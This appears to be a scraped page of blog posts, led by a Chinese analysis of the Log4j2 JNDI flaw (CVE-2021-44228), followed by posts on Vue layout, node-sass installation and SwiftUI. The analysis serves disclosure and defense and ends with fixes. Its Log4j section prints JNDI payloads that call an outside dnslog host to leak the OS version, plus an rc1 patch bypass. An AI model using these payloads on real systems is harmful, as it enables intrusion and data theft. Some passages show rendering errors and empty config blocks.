在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j2Rce2 {
private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
public static void main(String[] args) {
  String a="${java:os}";
  logger.error(a);
}
}

pic_aafbf0e7.png

属性占位符之Interpolator(插值器)

log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator(插值器)内部以Map的方式则封装了多个StrLookup对象,如下图显示:

pic_d1985627.png

详细信息可以查看官方文档。这些实现类存在于org.apache.logging.log4j.core.lookup包下。

当参数占位符${prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符${key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookuplookup方法使用jndi(javax.naming)获取value。如下图演示。

pic_cb5dc772.png

模式布局

log4j2支持通过配置Layout打印格式化的指定形式日志,可以在Appenders的后面附加Layouts来完成这个功能。常用之一有PatternLayout,也就是我们在配置文件中PatternLayout字段所指定的属性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n%msg表示所输出的消息,其它格式化字符所表示的意义可以查看官方文档

pic_d98d5967.png

PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List转换器列表和List格式信息列表。

在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。相关转换器名称注解和加载的插件实例如下图所示:

pic_9b3ba45d.png

pic_d17431d4.png

本次漏洞关键在于转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理存在问题,在大多数场景下这部分是攻击者可控的。MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。

日志级别

log4j2支持多种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200,如下图中的处理:

pic_a35d88a0.png

0x04 漏洞原理

首先先来看一下网络上流传最多的payload

${jndi:ldap://2lnhn2.ceye.io}

而触发漏洞的方法,大家都是以Logger.error()方法来进行演示,那这里我们也采用同样的方式来讲解,具体漏洞环境代码如下所示

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;

public class Log4jTEst {

public static void main(String[] args) {

  Logger logger = LogManager.getLogger(Log4jTEst.class);

  logger.error("${jndi:ldap://2lnhn2.ceye.io}");

}
}

直击漏洞本源,将断点断在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,该方法的第一行代码将返回当前使用的布局,并调用 对应布局处理器的encode方法。log4j2默认缺省布局使用的是PatternLayout,如下图所示:

pic_cd90f5ec.png

继续跟进在encode中会调用toText方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的StringBuilder中。

pic_bf1e021d.png

pic_3dec5458.png

接下来会调用serializer.toSerializable,并在这个方法中调用不同的Converter来处理传入的数据,如下图所示,

pic_5556a236.png

这里整理了一下调用的Converter

org.apache.logging.log4j.core.pattern.DatePatternConverter
org.apache.logging.log4j.core.pattern.LiteralPatternConverter
org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
org.apache.logging.log4j.core.pattern.LevelPatternConverter
org.apache.logging.log4j.core.pattern.LoggerPatternConverter
org.apache.logging.log4j.core.pattern.MessagePatternConverter
org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter

这么多Converter都将一个个通过上图中的for循环对日志事件进行处理,当调用到MessagePatternConverter时,我们跟入MessagePatternConverter.format()方法中一探究竟

pic_da4aa8d9.png

在MessagePatternConverter.format()方法中对日志消息进行格式化,其中很明显的看到有针对字符"KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …连着判断,等同于判断是否存在"{",这三行代码中关键点在于最后一行

pic_8703a6a5.png

这里我圈了几个重点,有助于理解Log4j2 为什么会用JndiLookup,它究竟想要做什么。此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示

09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}

本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是$符号,也就是说${jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?

可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串。replace的作用简单来说就是想要进行一个替换,我们继续跟进

pic_b85b66f9.png

经过一段的嵌套调用,来到Interpolator.lookup,这里会通过var.indexOf(PREFIX_SEPARATOR)判断":"的位置,其后截取之前的字符。截取到jndi然后就会获取针对jndi的Strlookup对象并调用Strlookup的lookup方法,如下图所示

pic_e0add034.png

那么总共有多少Strlookup的子类对象可供选择呢,可供调用的Strlookup都存放在当前Interpolator类的strLookupMap属性中,如下所示

pic_9cb4d7c7.png

然后程序的继续执行就会来到JndiLookup的lookup方法中,并调用jndiManager.lookup方法,如下图所示

pic_11229b48.png

说到这里,我们已经详细了解了logger.error()造成RCE的原理,那么问题就来了,logger有很多方法,除了error以外还别方法可以触发漏洞么?这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。如下图所示:

pic_7621e8c9.png

当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小

pic_9bb0024c.png

pic_618bede7.png

跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示

pic_a1749651.png

而这里日志优先级数值小于等于200的就只有"error"、“fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是"warn"、"info"大于200的就触发不了了。

但是这里也说了是默认情况下,日志优先级是以error为准,Log4j2的缺省配置文件如下所示。





 




 


所以只需要做一点简单的修改,将中的error改成一个优先级比较低的,例如"info"这样,只要日志优先级高于或者等于info的就可以触发漏洞,修改过后如下所示



 
     
         
     
 
 
     
         
     
 

关于Jndi部分的远程类加载利用可以参考实验室往常的文章:Java反序列化过程中 RMI JRMP 以及JNDI多种利用方式详解JAVA JNDI注入知识详解

0x05 敏感数据带外

当目标服务器本身受到防护设备流量监控等原因,无法反弹shell的时候,Log4j2还可以通过修改payload,来外带一些敏感信息到dnslog服务器上,这里简单举一个例子,根据Apache Log4j2官方提供的信息,获取环境变量信息除了jndi之外还有很多的选择可供使用,具体可查看前文给出的链接。根据文档中所述,我们可以用下面的方式来记录当前登录的用户名,如下所示



  %d %p %c{1.} [%t] $${env:USER} %m%n

获取java运行时版本,jvm版本,和操作系统版本,如下所示



  %d %m%n

类似的操作还有很多,感兴趣的同学可以去阅读下官方文档。

那么问题来了,如何将这些信息外带出去,这个时候就还要利用我们的dnsLog了,就像在sql注入中通过dnslog外带信息一样,payload改成以下形式

"${jndi:ldap://${java:os}.2lnhn2.ceye.io}"

从表上看这个payload执行原理也不难,肯定是log4j2 递归解析了呗,为了严谨一下,就再废话一下log4j2解析这个payload的执行流程

首先还是来到MessagePatternConverter.format方法,然后是调用StrSubstitutor.replace方法进行字符串处理,如下图所示

pic_7f40016f.png

只不过这次迭代处理先处理了"${java:os}",如下图所示

pic_5e142fc5.png

如此一来,就来到了JavaLookup.lookup方法中,并根据传入的参数来获取指定的值

pic_827aa514.png

解析完成后然后log4j2才会去解析外层的${jndi:ldap://2lnhn2.ceye.io},最后请求的dnslog地址如下

pic_da9f36b2.png

此时就实现了将敏感信息回显到dnslog上,利用的就是log4j2的递归解析,来dnslog上查看一下回显效果,如下所示

pic_3a438ebd.png

但是这种回显的数据是有限制的,例如下面这种情况,使用如下payload

${jndi:ldap://${java:os}.2lnhn2.ceye.io}

执行完成后请求的地址如下

pic_af42e0db.png

最后会报如下错误,并且无法回显

pic_dfbae9c6.png

0x06 2.15.0 rc1绕过详解

在Apache log4j2漏洞大肆传播的当天,log4j2官方发布的rc1补丁就传出的被绕过的消息,于是第一时间也跟着研究究竟是怎么绕过的,分析完后发现,这个“绕过”属实是一言难尽,下面就针对这个绕过来解释一下为何一言难尽。

首先最重要的一点,就是需要修改配置,默认配置下是不能触发JNDI远程加载的,单就这个条件来说我觉得就很勉强了,但是确实更改了配置后就可以触发漏洞,所以这究竟算不算绕过,还要看各位同学自己的看法了。

首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比

修改前

pic_8dc15d3c.png

修改后

pic_ede62086.png

可以很清楚的看到 增加了三个静态内部类,每个内部类都继承自MessagePatternConverter,且都实现了自己的format方法。之前执行链上的MessagePatternConverter.format()方法则变成了下面这样

pic_fe3e7fff.png

在rc1这个版本中Log4j2在初始化的时候创建的Converter也变了,

pic_81292a90.png

整理一下,可以看的更清晰一些

DatePatternConverter
SimpleLiteralPatternConverter$StringValue
ThreadNamePatternConverter
LevelPatternConverter$SimpleLevelPatternConverter
LoggerPatternConverter
MessagePatternConverter$SimpleMessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter

之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的,如下所示

pic_f57ea3ad.png

可以看到并没有对传入的数据的“KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …的点就没有了么?当然不是,对“{}”的处理,开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示

pic_e424c988.png

问题来了,如何才能让log4j2在初始化的时候就实例化LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法呢?

其实很简单,但这也是我说这个绕过“一言难尽”的一个点,就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能,修改后的配置文件如下所示



 
     
         
     
 
 
     
         
     
 

这样一来就可以触发LookupMessagePatternConverter.format()方法了,但是单单只改配置,还是不行,因为JndiManager.lookup方法也进行了修改,增加了白名单校验,这就意味着我们还要修改payload来绕过这么一个校验,校验点代码如下所示

pic_aa23e755.png

当判断以ldap开头的时候,就回去判断请求的host,也就是请求的地址,白名单内容如下所示

pic_d138eeeb.png

可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。

使用marshalsec开启ldap服务后,先将payload修改成下面这样

${jndi:ldap://127.0.0.1:8088/ExportObject}

如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示

pic_b9989af6.png

这里要求javaFactory为空,否则就会返回"Referenceable class is not allowed for xxxxxx"的错误,想要绕过这一点其实也很简单,在JndiManager.lookup方法中有一个非常非常离谱的错误,就是在捕获异常后没有进行返回,甚至没有进行任何操作,我看不懂,但我大为震撼。这样导致了程序还会继续向下执行,从而走到最后的this.context.lookup()这一步 ,如下所示

pic_83144ad8.png

也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式

${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}

在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。

0x07 修复&临时建议

在最新的修复https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea中,在初始化插值器时新增了检查jndi协议是否启用的判断,并且默认禁用了jndi协议的使用。

pic_696b7067.png

pic_fa5ec99a.png

修复建议:

升级Apache Log4j2所有相关应用到最新版。

升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。但仍有绕过Java本身对Jndi远程加载类安全限制的风险。

临时建议:

jvm中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)

新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)

设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)

对于log4j2 < 2.10以下的版本,可以通过移除JndiLookup类的方式。

0x08 时间线

2021年11月24日:阿里云安全团队向Apache 官方提交ApacheLog4j2远程代码执行漏洞(CVE-2021-44228)

2021年12月8日:Apache Log4j2官方发布安全更新log4j2-2.15.0-rc1,

2021年12月9日:天融信阿尔法实验室晚间监测到poc大量传播并被利用攻击

2021年12月10日:天融信阿尔法实验室于10日凌晨发布Apache Log4j2 远程代码执行漏洞预警,并于当日发布Apache Log4j2 漏洞处置方案

2021年12月10日:同一天内,网络传出log4j2-2.15.0-rc1安全更新被绕过,天融信阿尔法实验室第一时间进行验证,发现绕过存在,并将处置方案内的升级方案修改为log4j2-2.15.0-rc2

2021年12月15日:天融信阿尔法实验室对该漏洞进行了深入分析并更新修复建议。

0x09 总结

log4j2这次漏洞的影响是核弹级的,堪称web漏洞届的永恒之蓝,因为作为一个日志系统,有太多的开发者使用,也有太多的开源项目将其作为默认日志系统。所以可以见到,在未来的几年内,Apache log4j2 很可能会接替Shiro的位置,作为护网的主要突破点。

该漏洞的原理并不复杂,甚至如果认真读了官方文档可能就可以发现这个漏洞,因为这次的漏洞究其原理就是log4j2所提供的正常功能,但是不管是log4j2的开发者也好,还是使用log4j2进行开发的开发者也好,他们都犯了一个致命的错误,就是相信了用户的输入。

永远不要相信用户的输入,想必这是每一个开发人员都听过的一句话,可惜,真正能做到的人太少了。对于开源软件的生态安全,也需要相关企业和组织加以关注和共同建设,安全之路任重而道远。
作者:kali_Ma
来源:https://blog.csdn.net/kali_Ma/article/details/122178627

收起阅读 »

vue+elementui项目中,页面实现自适应,缩小放大页面排版基本保持不变

问题描述:vue+elementui项目中,页面实现自适应,缩小放大页面排版基本保持不变# 解决方案:第一步:最外层div样式 :fixed(固定定位):生成绝对定位的元素,相对于浏览器窗口进行定位。元素的位置通过 “left”, “top”, “right”...
继续阅读 »

问题描述:
vue+elementui项目中,页面实现自适应,缩小放大页面排版基本保持不变

# 解决方案:
第一步:最外层div样式 :
fixed(固定定位):生成绝对定位的元素,相对于浏览器窗口进行定位。元素的位置通过 “left”, “top”, “right” 以及 “bottom” 属性进行规定
display:flex 是一种布局方式。它即可以应用于容器中,也可以应用于行内元素。是W3C提出的一种新的方案,可以简便、完整、响应式地实现各种页面布局。目前,它已经得到了所有浏览器的支持。
width: 100%,height: 100%:实现页面宽高在不同窗口下都能占满整个屏幕。

.websit{undefined
position: fixed;
display: flex;
width: 100%;
height: 100%;
}


第二步:整体页面样式分三部分,分别是页面头部的:header-two,内容部分:main,页面底部的footer,
其中,头部和底部高度是不变的,中间内容部分的高度=页面高度-头部高度-底部高度,如下
给页面最外层div设置高度:自动获取当前浏览器高度,页面初始化的时候自动获取:

header-two {undefined
padding: 0;(内边距为0)
width: 100%;(宽度自动占满)
text-align: center;(内容居中显示)
height: 80px !important;(设置固定高度)
}
.footer {undefined
padding: 0;
width: 100%;
text-align: center;
height: 126px !important;
}
:style="{minHeight :minHeight +‘px’}"
mounted() {undefined
this.minHeight = document.documentElement.clientHeight - 0;
this.marginLeft = (document.documentElement.clientWidth - 1920) / 2;
const that = this;
window.onresize = function () {undefined
that.minHeight = document.documentElement.clientHeight - 0;
that.marginLeft = (document.documentElement.clientWidth - 1920) / 2
};
}


第三步:
这里header-two 下面还要加一个div,header-div,并为其设置项目要求的最小宽度,和最大宽度,这里设置为1920,保证缩放时的样式正常,同理,底部也要加上一个div,footer-div。
header-div,footer-div{undefined
margin: auto;
text-align: center;
min-width: 1920px !important;
max-width: 1920px !important;
}
第四步:为header-div和footer-div,设置向左偏移:style="{marginLeft:marginLeft + ‘px’ }"
第五步:中间内容过多时,会产生滚动弄条,我们想让滚动条产生在最外层,也就是,中间元素被撑开,因此设置属性
.main {undefined
overflow: visible;
}
A元素具有 overflow: visible 的属性,内层内容比较多时,分两种情况讨论
A元素高度auto:无作用,A元素撑开,正常滚动
A元素具有固定高度:虽然A限制的高度,但内层内容并不会隐藏,而是完全显示在屏幕上,参与布局,甚至撑开外层dom高度
第六步:涉及背景是图片,图片实现自适应,如下

header-first {undefined
padding: 0;
width: 100%;
text-align: center;
background-repeat: no-repeat;
height: 292px !important;
background-image: url(’…/aa.png’);
background-size: cover; /* 使图片平铺满整个浏览器(从宽和高的最大需求方面来满足,会使某些部分无法显示在区域中) */
代码如下:
export default {undefined
name: ‘ContainerMoudle’,
components: {Footer, WebsitHeaderTwo},
data() {undefined
return {undefined
minHeight: 0,
marginLeft: 0
}
},
mounted() {undefined
this.minHeight = document.documentElement.clientHeight - 0;
this.marginLeft = (document.documentElement.clientWidth - 1920) / 2;
const that = this;
window.onresize = function () {undefined
that.minHeight = document.documentElement.clientHeight - 0;
that.marginLeft = (document.documentElement.clientWidth - 1920) / 2
};
},
methods: {}
}


————————————————
原文链接:https://blog.csdn.net/weixin_44039043/article/details/109393574

收起阅读 »

node-sass的坑

国内做前端的,我感觉大多被这个坑过,所有的依赖都装的上,唯有这个依赖怎么都装不上。 首先第一个需要面对的问题,其实这个依赖装不上最大的原因是他在编译安装时需要下载一个安装包,这个安装包是在github上的,由于不可说的原因,国内连github的资源服务器raw...
继续阅读 »

国内做前端的,我感觉大多被这个坑过,所有的依赖都装的上,唯有这个依赖怎么都装不上。


首先第一个需要面对的问题,其实这个依赖装不上最大的原因是他在编译安装时需要下载一个安装包,这个安装包是在github上的,由于不可说的原因,国内连github的资源服务器rawgithubusercontent是很难连接的,这也直接导致了依赖无法安装。


解法1:
淘宝镜像,也是最直接的解法,淘宝镜像中的node-sass中的安装包地址指向已经被改成了淘宝镜像中的安装包地址,安装会很顺利。
这也是官方给出的对于网络问题的解法。


npm install -g mirror-config-china --registry=http://registry.npm.taobao.org
npm install node-sass

同样的--registry或者cnpm都适合用这个方法解。


解法2:
有些人可能因为团队使用package-lock.json来规范统一团队使用的依赖,可能就没法直接通过镜像的方式来下载淘宝镜像里的包了,但是这样也是有解决办法的,手动指定node-sass使用的安装包地址。
通过npmrc


npm config set sass_binary_site "https://npm.taobao.org/mirrors/node-sass/"

也可以设置环境变量:


set SASS_BINARY_SITE=https://npm.taobao.org/mirrors/node-sass/

这样直接通过npm install时候也可以单独使用淘宝的镜像来下载安装包。


解法3:
可以指定下载路径,那自然也可以先把安装包下载下来,再指定安装包进行安装。
先去https://github.com/sass/node-sass/releases/tag/{version}或者https://npm.taobao.org/mirrors/node-sass/下下载对应的安装包:{os}-{module-version}_bingding.node,具体的version根据你的nodejs版本查询下表可得。



接下来的步骤和解法2类似,这里给出npmrc的改法


npm config set sass_binary_path [path]

解法4:
既然主要原因是功夫网,那就只能翻过去了。
先设置系统代理,然后配置npm的代理。


npm config set proxy [system proxy]

完成下载以后问题只解决了一半,下载下来的安装包还需要编译,node-sass需要一些编译环境来确保编译完成,这里有个简单的方案:


npm install -g node-gyp
npm install --global --production windows-build-tools

这个会帮你安装对应的编译环境,问题大部分都能解决,这里面包含了vs的build工具以及python。


这里有个隐藏的小坑也是关于node-gyp的,如果你的node-gyp不是全局安装,而是一个在package-lock.json中的依赖,最好检查一下node-gyp的版本,就比如说我,node-gyp被限制在了一个老的版本上,那么最大的问题就是node-gyp本身去调用的build工具的版本是由他决定的,一些较老版本的node-gyp肯定并不支持更高版本的build工具,对应的支持可以在node-gyp的MSVSVersion.py中的version_map中找到,就拿我的3.8.0举例:


  version_map = {
'auto': ('14.0', '12.0', '10.0', '9.0', '8.0', '11.0'),
'2005': ('8.0',),
'2005e': ('8.0',),
'2008': ('9.0',),
'2008e': ('9.0',),
'2010': ('10.0',),
'2010e': ('10.0',),
'2012': ('11.0',),
'2012e': ('11.0',),
'2013': ('12.0',),
'2013e': ('12.0',),
'2015': ('14.0',),
}

可以看到这里最高仅仅支持到vs2015,所以我自己手动安装了vs2015的build工具最后才能成功编译。
这里也可以手动指定msvs_version来build工具的版本,不过大部分情况下auto就够用了。


npm config set msvs_version [version]

做到这里,执行npm install大概率就没有问题了,如果有问题的话,欢迎将输出的error log分享出来看看还有没有其他隐藏的坑在里面。


作者:Sczlog
链接:https://juejin.cn/post/6914193505061453838

收起阅读 »

SwiftUI版通知栏应用开发(4) ——多语言本地化适配

iOS
开发多语言版本的 APP,估计是大家希望的,尤其对于 iOS/Mac APP 的开发,上线 App Store 多希望在其它地区也能使用,所以今天主要想学习怎么基于 SwiftUI 做一些文本和字符串文字多语言化。相信市面上不少这样的文章可供参考Project...
继续阅读 »

开发多语言版本的 APP,估计是大家希望的,尤其对于 iOS/Mac APP 的开发,上线 App Store 多希望在其它地区也能使用,所以今天主要想学习怎么基于 SwiftUI 做一些文本和字符串文字多语言化。

相信市面上不少这样的文章可供参考

Project 配置

首先,在 Project Info 选项中,选择 Localization 增加一个「中文」本地化配置,如果你需要其他语言,可以相对应的添加:

接下来,新建对应的 Group 文件夹,如本文的两个 Groupen.lprojzh-Hans.lproj

在这两个 Group 里,同时创建同名的 Strings 文件:Localizable

代码编写

创建完成之后,我们分别创建一个 Preferences demo:

在我们的主 View 上引入变量 locale

popOver.contentViewController?.view = NSHostingView(rootView: MainView().environment(\.locale, .init(identifier: "en")))

然后创建一个 Text

Text("Preferences")
.font(.customf(22))
.padding(.bottom, 10.0)

刚开始我们定义的是 en,执行看看效果:

如果我们改为 zh-Hans

MainView().environment(\.locale, .init(identifier: "zh-Hans"))

结果也就不一样了:

Locale 变化功能

基本功能实现了,接下来就是设置一个开关来变化 Locale 了。

首先,创建一个 Picker

Section(header: Text("localization")) {
Picker("", selection: $localeViewModel.localeString) {
ForEach(LocaleStrings.allCases) { localeString in
Text(localeString.rawValue)
.tag(localeString.suggestedLocalication)
}
}
.pickerStyle(SegmentedPickerStyle())
}

其中,我定义两个 enum 来做选择的类型:

enum Localication: String, CaseIterable, Identifiable {
case zh_Hans = "zh-Hans"
case en = "en"
var id: String { self.rawValue }
}

enum LocaleStrings: String, CaseIterable, Identifiable {
case zh_Hans = "中文"
case en = "English"
var id: String { self.rawValue }
}

extension LocaleStrings {
var suggestedLocalication: Localication {
switch self {
case .zh_Hans: return .zh_Hans
case .en: return .en
}
}
}

这个好理解,因为显示的 String 和提供给 locale 的字符串不一致,如显示的是「中文」,提供给 locale 的是 zh-Hans,这里我借助 suggestedLocalication 做桥梁转换。

最后,我们创建一个 Combine ViewModel 变量 localeString,以供实时变化改变本地化字符串内容。

class LocaleViewModel: ObservableObject {
@Published var localeString: Localication
}

最后,只需要在具体的 View 里加入 ViewModel 订阅变量 localeString 的更新:

// ContentView.swift

import SwiftUI

struct ContentView: View {
@ObservedObject private var timerViewModel: TimerViewModel
@ObservedObject private var localeViewModel: LocaleViewModel
init(timerViewModel: TimerViewModel, localeViewModel: LocaleViewModel) {
self.timerViewModel = timerViewModel
self.localeViewModel = localeViewModel
}

var body: some View {
Text("localization")
.font(.customf(14))
.padding()
.environment(\.locale, .init(identifier: localeViewModel.localeString.rawValue))
}
}

好了,代码编写完毕,我们运行看效果:

localechange2

小结

基本跑通本地化多语言适配流程,接下来就是不断增加新的语言和翻译工作。

未完待续

收起阅读 »

[译] SwiftUI 2 应用生命周期的终极指导

原文地址:The Ultimate Guide to the SwiftUI 2 Application Life Cycle原文作者:Peter Friese译文出自:掘金翻译计划本文永久链接:github.com/xitu/gold-m…译者:zhuzil...
继续阅读 »

在很长一段时间里,iOS 开发者们都是使用 AppDelegate 作为应用的主要入口。随着 SwiftUI 2 在 WWDC 2020 上发布,苹果公司引入了一个新的应用生命周期。新的生命周期几乎(几乎)完全与 AppDelegate 无关,为类 DSL 方法铺平了道路。

在本文中,我会讨论引入新的生命周期的原因,以及你该如何在已有的应用或新的应用中使用它。

指定应用入口

我们的第一个问题是,该如何告诉编译器哪里是应用的入口呢?SE-0281 详述了**基于类型的程序入口(Type-Based Program Entry Points)**的工作方式:

Swift 编译器将识别标注了 @main 属性的类型为程序的入口。标有 @main 的类型有一个隐式要求:类型内部需要声明一个静态 main() 方法。

创建新的 SwiftUI 应用时,应用的主类(main class)如下所示:

import SwiftUI

@main
struct SwiftUIAppLifeCycleApp: App {
var body: some Scene {
WindowGroup {
ContentView()
}
}
}

那么 SE-0281 提到的静态 main() 函数在哪儿呢?

实际上,框架可以(并且应该)为用户提供方便的默认实现。你会从上面的代码片段注意到 SwiftUIAppLifeCycleApp 遵循 App 协议。对于 App 协议,苹果提供了如下协议扩展:

@available(iOS 14.0, macOS 11.0, tvOS 14.0, watchOS 7.0, *)
extension App {

/// 初始化并运行应用。
///
/// 如果你在你的 ``SwiftUI/App`` 的实现类(conformer)的声明前加上了
/// [@main](https://docs.swift.org/swift-book/ReferenceManual/Attributes.html#ID626)
/// 属性,系统会调用这个实现类的 `main()` 方法来启动应用。
/// SwiftUI 提供了该方法的默认实现,从而能以适合平台的方式处理应用启动流程。
public static func main()
}

这下你就懂了吧 —— 这个协议扩展提供了处理应用启动的默认的实现。

由于 SwiftUI 框架不是开源的,所以我们看不到苹果是如何实现此功能的,但是 Swift Argument Parser 是开源的,并且也用了这个办法。查看 ParsableCommand 的源码,就能了解它是如何用协议扩展来提供静态 main 函数的默认实现,并将其用作程序入口的:

extension ParsableCommand {
...
public static func main(_ arguments: [String]?) {
do {
var command = try parseAsRoot(arguments)
try command.run()
} catch {
exit(withError: error)
}
}

public static func main() {
self.main(nil)
}
}

如果上述这些听起来有点复杂,好消息是实际上在创建新的 SwiftUI 应用程序时你不必关心它:只需确保在 Life Cycle 下拉菜单中选择 SwiftUI App 来创建你的应用程序就行了:

创建一个新的 SwiftUI 项目

让我们来看一些常见的情况。

初始化资源 / 你最喜欢的 SDK 或框架

大多数应用程序需要在启动时执行这些步骤:获取一些配置值,连接数据库或者初始化框架或第三方 SDK。

通常,您可以在 ApplicationDelegate 的 application(_:didFinishLaunchingWithOptions:) 方法中进行这些操作。由于已经没有应用委托了,我们需要找到其他方法来初始化我们的应用程序。根据您的特定需求,有以下策略:

  • 为你的主类实现一个构造函数(initializer)(详见文档
  • 为存储属性设置初始值(详见文档
  • 用闭包设置属性的默认值(详见文档
@main
struct ColorsApp: App {
init() {
print("Colors application is starting up. App initialiser.")
}

var body: some Scene {
WindowGroup {
ContentView()
}
}

如果上述几种策略都无法满足你的需求,你可能还是需要一个 AppDelegate。后文会介绍如果能在应用中加入一个 AppDelegate。

处理你的应用的生命周期

了解你的应用程序处于哪种状态有时很有用。例如,你可能希望应用处于活动状态时立即获取新数据,或者在应用程序变为非活动状态并转换到后台后清除所有缓存。

通常,您可以在你的 ApplicationDelegate 上实现 applicationDidBecomeActiveapplicationWillResignActive 或 applicationDidEnterBackground

从 iOS 14.0 起,苹果提供了新的 API,该 API 允许以更优雅,更易维护的方式跟踪应用程序状态:[ScenePhase](https://developer.apple.com/documentation/swiftui/scenephase)。你的项目可以有多个场景(scene),不过有时只有一个场景。这些场景将由 [WindowGroup](https://developer.apple.com/documentation/swiftui/windowgroup) 展示。

SwiftUI 追踪环境中场景的状态,你可以使用 @Environment 属性包装器来获取 scenePhase 的值,然后使用 onChange(of:) modifier 来监听该值的变化:

@main
struct SwiftUIAppLifeCycleApp: App {
@Environment(\.scenePhase) var scenePhase

var body: some Scene {
WindowGroup {
ContentView()
}
.onChange(of: scenePhase) { newScenePhase in
switch newScenePhase {
case .active:
print("App is active")
case .inactive:
print("App is inactive")
case .background:
print("App is in background")
@unknown default:
print("Oh - interesting: I received an unexpected new value.")
}
}
}
}

值得注意的是,你可以从应用中的其他位置读取该值。当在应用的顶层读取该值时(如上面的代码片段所示),你将获得应用程序中所有阶段(phase)的汇总。.inactive 表示你应用中的所有场景均未激活。当在视图中读取 scenePhase 时,你将收到包含该视图的阶段值。请记住,你的应用程序在在同一时刻可能包含在不同阶段的多个场景。想了解有关场景阶段的更多详细信息,请阅读苹果的[文档](developer.apple.com/documentati…

处理深层链接(Deeplink)

之前,在处理深层链接时,你需要实现 application(_:open:options:),并将传入的 URL 转给最合适的处理程序。

新的应用生命周期模型可以更容易地处理深层链接。在最顶层的场景上添加 onOpenURL 就可以处理传入的 URL 了:

@main
struct SwiftUIAppLifeCycleApp: App {
var body: some Scene {
WindowGroup {
ContentView()
.onOpenURL { url in
print("Received URL: \(url)")
}
}
}
}

真正酷的是:你可以在整个应用程序中装上多个 URL 处理程序 —— 让进行深层链接变得很轻松,因为你可以在最合适的位置处理传入的链接。

可能的话,你应该使用 universal links(或者 Firebase Dynamic Links,它使用了 universal links for iOS apps),因为它们使用了关联域(associated domain)来创建网站和你的应用之间的链接 —— 这会让你可以安全地共享数据。

不过,你仍可以使用自定义 URL scheme 来链接应用内部的内容。

无论哪种方式,触发应用中的深层链接的一种简单方法是在开发计算机上使用以下命令:

